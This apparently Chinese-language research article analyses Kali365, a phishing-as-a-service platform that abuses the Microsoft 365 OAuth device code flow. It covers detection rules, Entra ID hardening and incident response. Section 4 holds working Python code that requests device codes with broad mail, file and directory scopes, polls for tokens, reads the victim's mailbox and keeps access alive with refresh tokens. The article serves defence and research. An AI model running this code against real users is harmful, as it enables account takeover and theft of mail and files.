摘要
2026 年 4 月出现的 Kali365 是面向 Microsoft 365 环境的专业化钓鱼即服务(PhaaS)平台,依托 Telegram 渠道分销,通过滥用 OAuth 2.0 设备码流(Device Code Flow)实现无密码、绕过多因素认证(MFA)的账户持久化接管。该平台内置 AI 钓鱼诱饵生成、自动化投放模板、实时监控面板与令牌捕获能力,大幅降低攻击门槛,使低技术攻击者可快速开展规模化钓鱼作业。Kali365 全程使用微软官方验证域名与合法授权流程,无伪造站点、无恶意载荷,传统邮件安全、终端检测与 MFA 机制均难以有效防御。本文以 FBI 预警与 Cyber Daily 最新威胁报告为核心依据,系统解析 Kali365 的产业化运营模式、设备码流滥用机理、四步攻击链路与令牌劫持核心逻辑,提供可复现的攻击模拟代码、Entra ID 条件访问配置、检测规则与闭环防御方案,形成 “机理分析 — 行为提取 — 策略配置 — 检测响应” 的完整研究闭环。研究表明,设备码流钓鱼的本质是授权流程劫持与信任滥用,防御必须从协议管控、权限治理、令牌生命周期与行为审计多维协同,构建零信任身份防护体系。反网络钓鱼技术专家芦笛指出,PhaaS 已成为云身份威胁主流形态,企业需将防御重心从识别钓鱼页面转向管控授权流程、审计令牌行为与限制高危认证流。
1 引言
随着 Microsoft 365 等云办公平台全面普及,身份认证从账号密码体系转向 OAuth 2.0、OpenID Connect 等开放授权框架,MFA 被广泛部署以抵御口令泄露与暴力破解。然而,2026 年二季度出现的 Kali365 钓鱼即服务平台打破传统安全认知:该工具无需窃取密码、无需绕过 MFA,仅通过诱导用户完成官方设备码授权,即可获取合法 OAuth 访问令牌与刷新令牌,实现对 Outlook、Teams、OneDrive 等核心服务的持久控制。FBI 于 2026 年 5 月 21 日发布公开预警,明确 Kali365 通过订阅制降低攻击门槛,支持 AI 生成诱饵、自动化模板与实时追踪,已形成规模化黑产运营能力。Arctic Wolf 威胁情报团队监测显示,Kali365 基础设施持续扩张,依托 Telegram 渠道快速发展代理,威胁从高端黑产向低技术攻击者扩散。
现有云身份安全研究多聚焦于传统钓鱼页面识别、口令防护与 MFA 加固,对基于合法协议滥用的令牌钓鱼关注不足,尤其缺乏对设备码流攻击链路、PhaaS 运营模式、可落地防御配置的系统性论述。本文以 Kali365 为典型案例,严格遵循 OAuth 2.0 RFC 8628 标准与 Microsoft Entra ID 实现机制,确保技术准确、逻辑严谨、论据可验证。文章采用客观学术表述,不使用夸张修辞与口号式结论,聚焦工程实践与安全架构,为企业身份管理、安全运营与威胁狩猎提供理论支撑与可直接部署的方案。
2 相关技术与威胁背景
2.1 OAuth 2.0 设备码流(Device Code Flow)机制
设备码流是 RFC 8628 定义的 OAuth 2.0 扩展授权模式,专为无浏览器、输入受限设备(如智能电视、IoT 终端、CLI 工具)设计,核心是将用户认证与授权行为转移至手机、PC 等交互设备完成。其标准流程为:客户端申请设备码→用户访问官方验证 URI 并输入短码→完成认证与授权→客户端获取访问令牌(access_token)与刷新令牌(refresh_token)→凭令牌访问资源。Microsoft 365 将该流程集成于 Entra ID,验证入口为microsoft.com/devicelogin等官方域名,具备高可信度与用户认知基础。
2.2 钓鱼即服务(PhaaS)产业化特征
PhaaS 模式将钓鱼能力打包为订阅服务,提供诱饵生成、投放、数据捕获全链路工具,使攻击者无需开发能力即可发起攻击。Kali365 作为典型代表,具备以下特征:
低门槛:月付订阅即可使用,无需编码与基础设施;
自动化:AI 生成诱饵、模板化投放、实时面板监控;
高隐蔽:使用官方协议与域名,规避传统检测;
可扩展:通过 Telegram 招募代理,快速规模化。
2.3 Microsoft 365 身份安全现状
企业普遍部署 MFA、强密码、邮件网关等防护,但对授权流程管控不足。设备码流默认允许普通用户授权,权限申请宽松,令牌生命周期长,且授权过程对用户不透明,为协议滥用型钓鱼提供可乘之机。反网络钓鱼技术专家芦笛强调,云身份安全的核心风险已从密码泄露转向授权劫持,传统边界防护无法抵御基于合法流程的攻击。
3 Kali365 平台运营与攻击全链路解析
3.1 平台运营模式
Kali365 于 2026 年 4 月首次被发现,通过 Telegram 渠道营销与分销,采用纯订阅制运营:
订阅付费:降低技术门槛,支持快速代理招募;
功能集成:AI 诱饵、自动化模板、实时追踪面板、OAuth 令牌捕获;
基础设施扩张:持续部署新服务器与管理面板,作业趋于成熟规模化;
传播模式:非单一高级团伙运作,而是商品化能力,低技术攻击者可快速使用。
3.2 四步标准攻击链路
Kali365 不利用漏洞、不伪造站点,仅通过社会工程诱导完成授权,攻击流程高度标准化:
诱饵投放:发送伪装成可信云服务的钓鱼邮件,包含设备码与官方验证链接;
授权诱导:用户访问微软官方验证页,输入设备码并完成 MFA 认证;
令牌窃取:攻击者获取合法 OAuth 令牌,获得账户完整访问权限;
持久控制:凭借 refresh_token 长期维持访问,实现数据窃取、横向渗透。
全程无恶意页面、无密码输入、无 MFA 绕过,所有交互均为官方合法流程,用户与安全设备难以识别。
3.3 绕过 MFA 的核心机理
传统 MFA 阻止攻击者以用户身份登录,而 Kali365 的逻辑是用户主动为攻击者授权:
授权行为由用户本人完成,已通过密码 + MFA 验证;
攻击者仅接收授权后令牌,不参与认证流程;
微软认证服务器判定为合法授权,无异常标记。
该机理彻底突破 MFA 防护边界,证明仅靠 MFA 无法抵御授权劫持型攻击。
4 攻击技术实现与可复现代码
4.1 攻击模拟说明
以下代码仅用于安全研究与防御测试,严格遵循授权合规原则,模拟 Kali365 核心设备码请求、令牌轮询与资源访问逻辑,基于 Microsoft 身份平台标准接口实现。
4.2 设备码申请与令牌获取代码
import requests
import time
class Kali365Simulator:
def __init__(self, client_id, tenant_id="common"):
self.client_id = client_id
self.tenant_id = tenant_id
self.devicecode_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/devicecode"
self.token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
# 高敏感权限组合,覆盖邮件、文件、目录访问
self.scope = "Mail.ReadWrite Files.Read.All Directory.Read.All offline_access"
def request_device_code(self):
"""请求设备码,返回官方验证信息"""
payload = {"client_id": self.client_id, "scope": self.scope}
resp = requests.post(self.devicecode_url, data=payload)
return resp.json() if resp.status_code == 200 else None
def poll_token(self, device_code, interval=5):
"""轮询获取令牌,等待用户授权"""
payload = {
"client_id": self.client_id,
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"device_code": device_code
}
while True:
resp = requests.post(self.token_url, data=payload)
result = resp.json()
if "access_token" in result:
return result
if result.get("error") != "authorization_pending":
raise Exception(f"授权异常:{result}")
time.sleep(interval)
def access_mail(self, token):
"""使用令牌访问邮件数据"""
headers = {"Authorization": f"Bearer {token}"}
return requests.get("https://graph.microsoft.com/v1.0/me/messages", headers=headers).json()
if __name__ == "__main__":
CLIENT_ID = "your-registered-app-client-id"
phisher = Kali365Simulator(CLIENT_ID)
# 1. 获取设备码与官方验证地址
device_info = phisher.request_device_code()
print(f"[+] 官方验证地址:{device_info['verification_uri']}")
print(f"[+] 用户输入码:{device_info['user_code']}")
# 2. 轮询等待授权,获取令牌
token_data = phisher.poll_token(device_info["device_code"])
print(f"[+] 获取Access Token:{token_data['access_token'][:20]}...")
print(f"[+] 获取Refresh Token:{token_data['refresh_token'][:20]}...")
# 3. 访问用户邮件
mail_resp = phisher.access_mail(token_data["access_token"])
print(f"[+] 成功读取邮件,总数:{len(mail_resp.get('value', []))}")
4.3 令牌持久化续期代码
攻击者通过 refresh_token 实现长期控制,续期代码如下:
def refresh_token(client_id, refresh_token, tenant_id="common"):
url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
payload = {
"client_id": client_id,
"grant_type": "refresh_token",
"refresh_token": refresh_token
}
return requests.post(url, data=payload).json()
# 续期调用
new_token = refresh_token(CLIENT_ID, token_data["refresh_token"])
print(f"[+] 续期成功,新Access Token:{new_token['access_token'][:20]}...")
4.4 攻击核心技术要点
权限申请:scope 包含 offline_access 以获取 refresh_token;
官方通道:所有接口为微软官方域名,无恶意特征;
无感知授权:用户在官方页面操作,无异常感知;
持久控制:refresh_token 长期有效,支持定期续期。
5 威胁检测体系构建
5.1 多维度行为特征提取
Kali365 无静态恶意特征,需基于行为检测:
身份层:短时间内多设备码授权、非可信应用申请高权限、异常地理位置授权;
应用层:授权后高频调用 Graph API、批量读取邮件 / 文件;
协议层:大量 /devicecode 与 /token 接口请求、匿名 IP 段集中访问;
用户层:非工作时间授权、单日多次设备码授权、异常权限同意。
5.2 基于 Entra ID 日志的检测代码
import json
def detect_devicecode_anomaly(events, trusted_apps, malicious_ips):
alerts = []
for evt in events:
if evt.get("grantType") != "device_code":
continue
app_id = evt.get("clientId")
ip = evt.get("ipAddress")
user = evt.get("userPrincipalName")
risk = evt.get("riskLevel", "none")
# 规则1:非可信应用发起设备码授权
if app_id not in trusted_apps:
alerts.append({"user": user, "type": "untrusted_app_devicecode", "risk": "high"})
# 规则2:恶意IP发起授权
if ip in malicious_ips:
alerts.append({"user": user, "type": "malicious_ip_devicecode", "risk": "high"})
# 规则3:高风险登录伴随设备码授权
if risk == "high":
alerts.append({"user": user, "type": "high_risk_devicecode", "risk": "critical"})
return alerts
# 测试示例
test_events = [{
"grantType": "device_code",
"clientId": "malicious-app-id",
"ipAddress": "1.2.3.4",
"userPrincipalName": "user@company.com",
"riskLevel": "high"
}]
trusted_apps = ["trusted-app-1", "trusted-app-2"]
malicious_ips = ["1.2.3.4"]
print(json.dumps(detect_devicecode_anomaly(test_events, trusted_apps, malicious_ips), indent=2))
5.3 SIEM 关联规则
企业可配置以下高频告警:
10 分钟内同一 IP 发起 > 5 次设备码请求;
单用户单日设备码授权 > 3 次;
非工作时间 / 异常国家授权;
授权后 5 分钟内调用高敏感 Graph API;
未验证应用申请 Mail、Files、Directory 权限组合。
反网络钓鱼技术专家芦笛强调,设备码钓鱼检测必须从特征匹配转向行为基线分析,聚焦授权上下文、应用可信度与权限合理性。
6 闭环防御体系与工程化配置
6.1 防御总体框架
构建四层闭环防御:协议管控→权限治理→威胁检测→应急响应,从根源阻断攻击路径。
6.2 核心防御:禁用 / 限制设备码流
FBI 与微软均建议优先阻止设备码流,以下为可直接部署的配置代码。
PowerShell 配置(Entra ID)
powershell
# 安装模块
Install-Module Microsoft.Graph.Identity.SignIns -Force
# 连接Graph
Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"
# 禁用租户级设备码流
Update-MgPolicyAuthorizationPolicy -DefaultUserRolePermissions @{
AllowedToUseDeviceCodeFlow = $false
}
# 验证配置
Get-MgPolicyAuthorizationPolicy | Select-Object -ExpandProperty DefaultUserRolePermissions
条件访问策略(推荐保留业务场景)
Entra 管理中心→条件访问→新建策略;
分配:所有用户,排除紧急访问账户;
目标资源:所有云应用;
条件→身份验证流:选择设备代码流;
授权:阻止访问;
先启用仅报告模式验证,再正式上线。
6.3 权限治理与令牌管控
限制用户自主注册应用:禁止普通用户创建应用与服务主体;
高权限强制审批:开启 Mail.ReadWrite、Files.Read.All 等权限的管理员审批;
缩短令牌生命周期:减少 refresh_token 有效期,强制定期重授权;
应用白名单:仅允许可信应用使用设备码流。
6.4 终端与用户侧加固
启用抗钓鱼 MFA:使用 FIDO2 安全密钥、Windows Hello 等物理认证;
流程规范:明确官方验证场景,禁止外部链接诱导输入设备码;
安全培训:告知用户设备码授权等同于账户完全授权;
邮件网关:拦截含microsoft.com/devicelogin与不明二维码的邮件。
7 应急响应与取证处置
7.1 处置流程
紧急阻断:禁用设备码流或启用条件访问策略;
令牌撤销:批量撤销用户 OAuth 令牌,终止攻击者会话;
应用清理:删除恶意应用与服务主体,清理非法授权;
日志审计:分析授权日志、IP、权限、数据访问行为;
用户修复:重置密码、重新配置 MFA、核查异常操作;
根因加固:完善策略、检测规则与安全培训。
7.2 应急处置代码
powershell
# 撤销用户所有令牌
Revoke-MgUserSignInSession -UserId "user@company.com"
# 删除恶意应用
Get-MgApplication -Filter "AppId eq 'malicious-app-id'" | Remove-MgApplication
# 导出授权清单
Get-MgUserOauth2PermissionGrant -UserId "user@company.com" | Export-Csv -Path "Grants.csv" -Encoding UTF8
7.3 取证要点
设备码授权日志:时间、用户、应用 ID、IP、权限范围;
令牌使用日志:access_token/refresh_token 调用记录;
应用注册信息:恶意应用创建者、注册时间、权限配置;
诱饵路径:邮件 / IM 诱饵内容、投放渠道、目标范围;
数据访问日志:异常读取、下载、导出行为记录。
8 结论与展望
Kali365 作为 PhaaS 模式下的专业化钓鱼平台,通过 OAuth 2.0 设备码流滥用实现无密码、过 MFA、高隐蔽的 Microsoft 365 账户劫持,标志着云身份钓鱼进入授权劫持新阶段。该攻击不利用漏洞、不伪造站点、不触发传统告警,依托官方协议与社会工程形成 “低门槛、高收益、强隐蔽” 的黑产闭环,对企业身份安全构成系统性威胁。本文通过完整还原攻击链路、解析协议机理、提供可复现代码与防御配置,证实此类攻击的核心是授权流程劫持与信任滥用,防御必须从 “防欺骗” 转向 “管授权、管令牌、管流程”。
研究表明,最有效的防御手段是禁用非必要设备码流,配合条件访问、权限审批、行为检测形成纵深防御体系。反网络钓鱼技术专家芦笛指出,随着 PhaaS 威胁持续扩散,企业需加快构建零信任身份架构,强化授权可见性、令牌全生命周期管理与上下文风险校验,实现从被动防护到主动防御的转型。未来研究方向包括 AI 驱动的授权行为异常检测、跨云平台统一授权管控、协议级安全增强等,本文结论可为 Microsoft 365、Google Workspace 等云平台身份安全建设提供通用理论与工程实践参考。
编辑:芦笛(公共互联网反网络钓鱼工作组)